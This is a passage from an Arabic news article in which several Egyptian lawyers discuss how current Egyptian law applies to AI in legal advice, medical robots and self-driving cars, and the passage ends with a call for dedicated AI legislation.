<p>كما أن الذكاء الاصطناعي يمكنه المساعدة في الوصول إلى مواد قانونية أو شرح بعض المفاهيم، لكنه لا يقدم حلولًا قانونية كاملة، ولا يستطيع التعامل مع تفاصيل كل حالة على حدة كما يفعل المحامي البشري.</p>
<p>وأشار إلى أن مصر لا تمتلك حتى الآن قانونًا خاصًا ينظم الذكاء الاصطناعي.<br />
كما لا يوجد ما يمنع قانونًا استخدام أدوات الذكاء الاصطناعي في تقديم استشارات قانونية، لكن لا يمكن الاعتماد عليها كبديل عن المحامي المرخص، حيث يشترط قانون المحاماة أن تكون المرافعات والتوقيعات القانونية صادرة عن محامي معتمد من النقابة.</p>
<p>وفي المجال الطبي، أوضح أن القانون المصري لا يميز بوضوح بين الخطأ الناتج عن الإنسان والخطأ الناتج عن الذكاء الاصطناعي.<br />
فإذا وقع ضرر نتيجة استخدام أدوات مثل الروبوتات الجراحية أو أنظمة التشخيص، فإن المسؤولية تقع غالبًا على الطبيب.</p>
<p>أما فيما يخص السيارات ذاتية القيادة، فأكد أن مصر لا تملك إطارًا قانونيًا ينظمها حتى الآن.<br />
وفي حال وقوع حادث، قد تتحمل المسؤولية إما الشركة المصنعة أو مالك السيارة، حسب ظروف الحادث.</p>
<p>من جانبه، أكد المحامي المدني رامي أبو رية بأن مصطلح الذكاء الاصطناعي يعد تعبيرا فضفاضا، مما يجعل من السهل القول بأنه لا يوجد قانون محدد ينظم استخدامه.<br />
إلا أن الواقع أكثر دقة فبمجرد تفكيك المصطلح والنظر في كل مجال تُستخدم فيه التكنولوجيا المعتمدة على الذكاء الاصطناعي، نجد أن القوانين الحالية تنظم هذه الاستخدامات بشكل أو بآخر.</p>
<p>وأكد على أهمية تحديد نوع المسؤولية القانونية عند مناقشة الأطر التنظيمية للذكاء الاصطناعي، موضحًا أن الحديث هنا ينصب على المسؤولية المدنية، التي تنقسم بدورها إلى نوعين: المسؤولية العقدية  والمسؤولية التقصيرية، التي تُعد الأقرب لتطبيقات الذكاء الاصطناعي في الوقت الراهن.</p>
<p>وأوضح أن المسؤولية التقصيرية تقوم على ثلاثة عناصر: الخطأ، والضرر، وعلاقة السببية، وهو ما تنظمه المادة 163 من القانون المدني المصري.<br />
وأعطى مثالًا على ذلك بالسيارات ذاتية القيادة، مشيرًا إلى أنها تخضع لأحكام المادة 178 من القانون المدني، التي تتعلق بمسؤولية حارس الأشياء، أي الشخص الذي يملك السيطرة الفعلية على الشيء الذي قد يُسبب ضررًا للغير.<br />
وبناءً عليه، فإن مالك أو مشغل السيارة ذاتية القيادة هو المسؤول مدنيًا عن أي ضرر ناتج عنها.</p>
<p>وفيما يتعلق باستخدام الذكاء الاصطناعي في تقديم الاستشارات القانونية، أشار أبو رية إلى أن هذه التقنية يمكنها حاليًا توليد نصوص قانونية تُقدَّم على هيئة استشارات، لكنها لا تستطيع تطبيقها فعليًا.<br />
وقد تتضمن هذه الاستشارات معلومات عامة متداولة، أو تفاصيل دقيقة لا يعرفها سوى المتخصصين، ما قد يشكّل خطرًا على مصلحة من يطلب الاستشارة دون الرجوع إلى مختص بشري.</p>
<p>صرّحت الأستاذة هند توفيق، المحامية المتخصصة بالإستئناف العالي بأن استخدام الذكاء الاصطناعي في مصر يخضع لإطار قانوني واضح، حيث ينظمه قانون حماية البيانات الشخصية الصادر عام 2020، بالإضافة إلى قانون مكافحة جرائم تقنية المعلومات لسنة 2018، ما يضع استخدام هذه التكنولوجيا تحت الرقابة القانونية.</p>
<p>وأوضحت أن الذكاء الاصطناعي يمكن الاستفادة منه في تقديم استشارات وآراء قانونية أو خدمات مساعدة، مؤكدة على استخدامه بشكل فعلي في الأبحاث القانونية وصياغة المذكرات، إلا أن هذه الأدوات لا تحمل طابعًا رسميًا، ويمكن الاعتماد عليها كمصدر تمهيدي أو مساعد، لا أكثر.</p>
<p>وفيما يتعلق بالمسؤولية القانونية في حالة الأخطاء الطبية الناتجة عن استخدام الروبوتات، أكدت أن هناك شقين للمساءلة: جنائي ومدني. ففي الشق الجنائي، يُعد الروبوت بمثابة أداة جراحية، وأي خلل ناتج عنه يؤدي إلى مساءلة الطبيب جنائيًا بتهمة القتل أو الإصابة الخطأ، وفقًا للضرر الواقع. أما في الشق المدني، فالمسؤولية تقع على الطبيب كذلك، باعتبارها مسؤولية تقصيرية، مضيفة أن القانون المدني المصري يتضمن مفهوم “مسؤولية حارس الأشياء”، والتي يمكن تطبيقها على الروبوت باعتباره شيئًا ماديًا، مما يرتب تعويضًا مدنيًا عن الضرر.</p>
<p>وبالنسبة للحوادث الناجمة عن السيارات ذاتية القيادة، أوضحت أن المبدأ نفسه ينطبق؛ حيث يُسأل مالك السيارة مدنيًا، ما لم يثبت أن العطل ناتج عن خلل تقني أو عيب مصنعي، مع تأكيده على اتخاذه الاحتياطات اللازمة. أما من الناحية الجنائية، فلا يوجد حتى الآن نص قانوني واضح يعالج هذه الحالة.</p>
<p>وفي تقييمها للتأثير الاقتصادي للذكاء الاصطناعي، شددت الأستاذة هند على أن هذه التكنولوجيا باتت تمثل خطرًا حقيقيًا على العديد من المهن، خصوصًا تلك التي تعتمد على المهارات الذهنية، مثل مهنة المحاماة والقضاء. لكنها أوضحت أن الوضع في مصر يختلف، إذ لا يمكن الاعتماد كليًا على الذكاء الاصطناعي في تحقيق العدالة، بسبب الطبيعة البشرية لتكوين قناعة القاضي واستنباط القرائن، وهو ما لا تستطيع الخوارزميات محاكاته حتى الآن.</p>
<p>واختتمت حديثها قائلة: “من يعلم؟! ربما نشهد بعد سنوات قليلة طفرة جديدة تجعل الذكاء الاصطناعي قادراً على أداء مهام لم نكن نتخيل أن يفعلها. منذ أربعين عامًا، لو قال لنا أحد أننا سنتحدث اليوم عبر جهاز يسمى الموبايل ونتبادل الرسائل الإلكترونية، لكنا اتهمناه بالجنون”.</p>
<p>&nbsp;</p>
<p>لم يعد الذكاء الاصطناعي مجرد فكرة مستقبلية، بل أصبح واقع نعيشه ، ودخل مجالات حساسة تمس حياة الناس بشكل مباشر.<br />
ومع هذا الانتشار السريع، يظل القانون في مصر متأخرًا عن مواكبة هذا التطور، فلا توجد تشريعات واضحة تحدد من المسؤول عند وقوع الخطأ.<br />
ولهذا، فإن وضع إطار قانوني ينظم استخدام الذكاء الاصطناعي أصبح ضرورة لا تحتمل التأجيل، لحماية الحقوق وضمان الاستخدام الآمن والعادل لهذه التكنولوجيا.</p>

			
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